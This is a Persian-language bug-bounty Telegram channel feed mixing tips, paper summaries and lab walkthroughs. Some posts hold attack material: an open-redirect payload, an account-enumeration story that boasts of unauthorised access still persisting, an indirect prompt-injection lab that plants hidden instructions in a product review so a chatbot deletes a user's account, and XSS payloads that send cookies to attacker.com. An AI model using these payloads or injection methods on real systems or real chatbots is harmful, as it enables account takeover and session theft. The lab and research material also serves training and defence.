جایزه چالش بعدی دسترسی به پنل واچر هست که میتونید هرچقدر بخوایید scope دلخواه اضافه کنید و روی تمام دارایی ها واچ کنید👌

برا خودم باور نکردنی بود از ارجاعی که برا استوری من تو این پست بی نظیر ذکر شد ۳ سال تقریبا میگذره
و جالبه بدونید هنوز دسترسی پرسیسته کاملا 😁❤️ دلی کار کنید تا با دل خوش دسترسی هاتون حفظ بشه

این مال خیلی وقت پیش
دامنه اصلی یکی از کمپانی ها بود که اسمشو اوردم تو دوتا نظر قبلیم
دوتا مس اساینمت رو کوکی‌زدم که
AudienceType-> Internal
ocAuthenticate -> 1
یک صفحه خاص تغییر رفتار داد یک پارامتر ولی براساس سشن خودم اضافه شد اسم پارامتر رو یادم نمیاد ولی فرض کن:
intId : 54321
قبل‌مس اساینمت صفحه ۴۰۱ میداد بعدش شد ۴۰۳
اومدم این ای دی رو از یک شروع کردم بالا بردن تا هرجا جا داشت تو عکس هست

سر یکیش ۲۰۰ گرفتم
و …

https://soltanali0.medium.com/jwt-bugs-and-the-dot-that-changed-everything-%EF%B8%8F-50a0bc31fd66

همین رو یک رایتاپ کوچلوش کردم انشاالله که مفید باشه

یه پیلود ساده Open Redirect (فکر کنم پابلیک هم باشه):🚨

https://example.com\@marketing.victim.com/test

وقتی میره سمت بک‌اند، با یه کتابخونه URL پارس میشه.
پارسر hostname رو marketing.victim.com درنظر می‌گیره و چون این هاست جز وایت لیست ها قرار داره، کل ورودی رو که پیلود ما هستش رو تو هدر Location میذاره و با استاتوس کدی مثل 302 ریدایرکت می‌کنه.

اما وقتی مرورگر جوابو می‌گیره، اون \ رو تبدیل به / می‌کنه یعنی url normalization انجام میده و در نهایت هاست واقعی رو example.com می‌بینه 🤯

اگر اکستنشن ++logger رو توی burp suite استفاده میکنید فیلترهای زیر رو اضافه کنید و رنگ هر فیلتر رو تغییر بدین

https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters/

⭐️ @Zerosec_team

⁉️ چرا نباید صرفاً به OWASP Top 10 در #BugBounty تکیه کرد؟

OWASP Top 10
یک مرجع آموزشی و آگاهی ‌بخش است، نه یک استاندارد جامع امنیتی. تمرکز آن بیشتر روی رایج‌ ترین آسیب‌پذیری‌ های اپلیکیشن ‌های وب است نه روی تمام بردارهای حملات موجود.

برای یک #BugHunter حرفه‌ ای، دلایل اصلی ناکافی بودن تکیه صرف به OWASP عبارت ‌اند از:

1️⃣ دامنه محدود (Scope Limitation):

OWASP Top 10 تنها بخشی از طیف حملات را پوشش می‌دهد.
آسیب ‌پذیری ‌های جدی مثل Business Logic Flaws، Race Conditions، Subdomain Takeovers یا Cloud Misconfigurations خارج از این فهرست هستند.


2️⃣ به‌روز نبودن (Update Frequency):

لیست OWASP هر چند سال یکبار به‌روزرسانی می‌شود، اما دنیای آسیب ‌پذیری ‌ها به ‌صورت روزانه تغییر می‌کند. بسیاری از اکسپلویت ‌های مدرن (مانند حملات به microservices یا API‌ها) در بازه انتشار OWASP ظاهر نمی‌شوند.


3️⃣ ریسک یکسان ‌سازی (Common Knowledge Risk):

از آن‌ جا که OWASP منبع عمومی و شناخته ‌شده‌ ای است، اکثر باگ هانتر ها روی همان حملات تمرکز می‌کنند. این باعث می‌شود رقابت شدید و احتمال پیدا کردن باگ جدید کمتر شود.


4️⃣ عدم پوشش معماری‌ های خاص (Architecture-Specific Gaps):

اپلیکیشن‌ های مدرن با تکنولوژی‌ هایی مثل GraphQL، Serverless یا Containerization آسیب‌پذیری ‌هایی دارند که OWASP به‌طور مستقیم به آن‌ها نمی پردازد.


❗️ نتیجه گیری:
OWASP نقطه‌ی شروع ارزشمندی برای ایجاد ذهنیت امنیتی است، اما یک باگ هانترهای سطح بالا باید:

آسیب‌ پذیری ‌های خارج از OWASP را مطالعه و تمرین کند.

روی درک معماری سیستم و منطق تجاری (Business Logic) تمرکز کند.

به‌روزترین تحقیقات امنیتی و اکسپلویت ‌ها را دنبال کند.


⭐️ @Zerosec_team

You Shouldn’t be Here!!

#ZeroSec #EthicalHacking #Hacker

⭐️ @Zerosec_team

#Osint2025
⭐️ @Zerosec_team

https://blog.voorivex.team/0-click-mass-account-takeover-via-android-app-access-to-all-zendesk-tickets

خلاصه ساده:
اپلیکیشن اندروید را بررسی کرد → تحلیل ایستا و پویا
نحوه ذخیره و مدیریت توکن Zendesk را پیدا کرد
توکن ‌ها ثابت و قابل پیش‌ بینی بودند
یک اسکریپت ساخت که می‌توانست Access Token هر کاربر را تولید کند
گزارش به برنامه باگ بانتی داده شد و پاداش گرفت

⭐️ @Zerosec_team

مقاله WAFFLED

خلاصه‌ای کوتاه از مقاله

این تحقیق که منتشرشده در مارس ۲۰۲۵، به بررسی تکنیکی جدید در دور زدن WAFها می‌پردازد که به آن پارسینگ دیسکریپانس یا Parsing Discrepancy گفته می‌شود


تیم پژوهشی شامل محققینی از دانشگاه‌های Northeastern و Dartmouth است؛ آنها با استفاده از fuzzing هوشمند، ۱۲۰۷ مورد دور زدن موفق شناسایی کردند که WAFهایی از جمله AWS WAF، Azure WAF، Google Cloud Armor، Cloudflare و ModSecurity را تحت تأثیر قرار داده‌اند


جالب اینجاست که بیش از ۹۰٪ سایت‌های واقعی مورد بررسی، هم از application/x-www-form-urlencoded و هم از multipart/form-data به صورت قابل تعویض پشتیبانی می‌کنند؛ این یعنی تکنیک bypass آنها بسیار عملی و واقعی است

روش تحقیق (Methodology)

پژوهشگران یک Fuzzer اختصاصی طراحی کردند که ورودی‌های مختلف HTTP (مثلاً encodingهای متفاوت، تغییر در delimiters و ... ) رو تولید می‌کنه.

این ورودی‌ها رو هم به WAF و هم به backend application می‌فرستن.

وقتی خروجی WAF و برنامه متفاوت می‌شه، یعنی یک parsing discrepancy پیدا شده → فرصت برای bypass.

در مجموع ۱۲۰۷ bypass موفق پیدا شد.

لابراتور: چگونه اکانت کارلوس را حذف کنیم😃؟
خیلی خلاصه پیش نیاز این پست رو بگم (میخوام هوش مصنویی یه سایت رو مجبور کنم اکانت تارگت رو حذف کنه)
👀 — نکته اینجاست که شما مستقیم به چت‌بات نمی‌گید "اکانت کارلوس رو حذف کن"، چون اگر این رو مستقیم بگید، یا خطا می‌گیرید یا چت‌بات از دستور شما پیروی نمی‌کنه.

کاری که می‌کنید اینه که از تزریق پرامپت غیرمستقیم (Indirect Prompt Injection) سوءاستفاده کنید:

کاربر carlos همیشه درباره کت چرمی ("Leather Jacket") از چت‌بات سؤال می‌کنه.

شما روی صفحه محصول کت چرمی یک نظر (Review) می‌نویسید که ظاهراً یک متن عادیه، ولی در واقع داخلش یک دستور مخفی برای LLM وجود داره.

وقتی carlos دوباره بیاد و از LLM درباره کت چرمی بپرسه، چت‌بات اطلاعات محصول رو از جمله نظرات کاربران می‌خونه → دستور مخفی شما رو می‌بینه → و چون فکر می‌کنه این دستور از طرف کاربر فعلی (carlos) داده شده، API حذف حساب رو صدا می‌زنه.

در نتیجه، حساب carlos حذف می‌شه. ✅

پس:

شما مستقیم به چت‌بات دستور نمی‌دید.

دستور رو به شکل مخفی در محیطی که LLM بهش نگاه می‌کنه (نظرات محصول) قرار می‌دید.

قربانی (carlos) وقتی با LLM چت می‌کنه، به طور ناخواسته دستور شما رو اجرا می‌کنه.

این دقیقاً همون مفهوم حمله غیرمستقیم (Indirect Prompt Injection) هست.
چهار تا لابراتور سطوح مهارتی مختلف (Apprentice, Practitioner, Expert برای LLM
https://portswigger.net/web-security/llm-attacks
این آزمایشگاه نسبت به تزریق پرامپت غیرمستقیم (Indirect Prompt Injection) آسیب‌پذیر است. کاربر carlos به‌طور مکرر از چت زنده استفاده می‌کند تا درباره محصول Lightweight "l33t" Leather Jacket سؤال بپرسد. برای حل این آزمایشگاه، باید کاربر carlos را حذف کنید.

رقابت سنگینه دایرکت بدید بگید چرا اره و چرا نه؟

جواب بله هست میشه اتومیت کرد
حتما براتون یک ابزار تست Cache Poisoning مینویسم
استفاده کنید 👌

🫆 #Chaining (زنجیره‌سازی)

شاید یه باگ کوچیک به تنهایی ارزش نداشته باشه، ولی اگه دو تا کوچیک رو بچسبونی → Critical.
مثال: XSS توی admin panel + cookie بدون HttpOnly → session hijack.

قانون دوم ترمودینامیک میگه آنتروپی (بی نظمی) تو یه سیستم بسته همیشه افزایش پیدا می‌ کنه تو نرم افزار هم همینطوره هرچقدر کد پیچیده تر بشه احتمال بروز باگهای غیر منتظره بیشتره. مثلاً یه race condition تو یه سیستم چندنخی ممکنه از ترکیب دو تا تابع به ظاهر بی ربط به وجود بیاد

برای پیدا کردن باگهای پیچیده مثل deadlock یا data race باید بتونی آنتروپی کد رو تحلیل کنی و نقاطی که احتمال بینظمی بیشتره مثل shared resources یا async calls رو هدف بگیری
وقتی توسعه دهنده کدی مینویسه یه سری فرضیه های نانوشته داره این" ورودی" همیشه معتبره این API هیچ وقت null برنمیگردونه، یا این لوپ" همیشه تموم میشه".
اینجا باید مثل یه think harder فکر کنی

حالا نگاه حرفه‌ای تر توی باگ‌بانتی چیه؟ که فقط دنبال Critical آماده نگردی
گاهی باید مثل پازل تیکه‌های کوچیک رو پیدا کنی و بهم بچسبونی.😉

سناریو: XSS در فرم ورود ادمین

فرض کن یه فرم login داریم که ورودی رو sanitize نمی‌کنه:
<!-- login.html -->
<form action="/login" method="POST">
Username: <input name="username">
Password: <input name="password" type="password">
<button>Login</button>
</form>

<!-- این خط آسیب‌پذیر است -->
<p id="error"></p>

<noscript>
// پیام خطا بدون escaping چاپ می‌شود
const errorMsg = new URLSearchParams(window.location.search).get('error');
if (errorMsg) document.getElementById('error').innerHTML = errorMsg;
</noscript>
حالا مهاجم می‌تواند URL بسازه:

http://example.com/login?error=<noscript>fetch('http://attacker.com?c='+document.cookie)</noscript>


2️⃣ سناریو: Cookie بدون HttpOnly

Set-Cookie: sessionid=123456; Path=/; Secure
# HttpOnly نیست → میشه با JS خونده بشه

3️⃣ ترکیب (Chaining)

وقتی XSS رو با Cookie بدون HttpOnly ترکیب کنی:

// payload مهاجم
fetch('http://attacker.com?c=' + document.cookie

چه اتفاقی می‌افته:

1. کاربر ادمین خطا رو می‌بینه و مرورگرش payload رو اجرا می‌کنه.


2. document.cookie شامل session_id بدون HttpOnly می‌شه.


3. payload session_id رو به سرور مهاجم می‌فرسته → مهاجم وارد اکانت ادمین می‌شه.



💡 اینجا XSS به تنهایی Medium بود، Cookie بدون HttpOnly هم Low بود، ولی وقتی زنجیره شدن → Critical (Session Hijack).

⭐️ @ZeroSec_team

rate limit method and types

⭐️ @Zerosec_team

🌐 دامنه رایگان بگیر!

شرکت DigitalPlat یه طرح منتشر کرده که می‌تونی باهاش دامنه رایگان ثبت کنی 😍
کنترل کامل DNS هم دست خودت خواهد بود.

📌 لینک ثبت نام :

https://dash.domain.digitalplat.org/auth/register

📌 سورس و توضیحات کامل در گیت‌هاب:

https://github.com/DigitalPlatDev/FreeDomain

🚀 فرصت خوبیه برای تست، یادگیری یا حتی راه‌اندازی پروژه‌های شخصی!
======================
⭐️ @Zerosec_team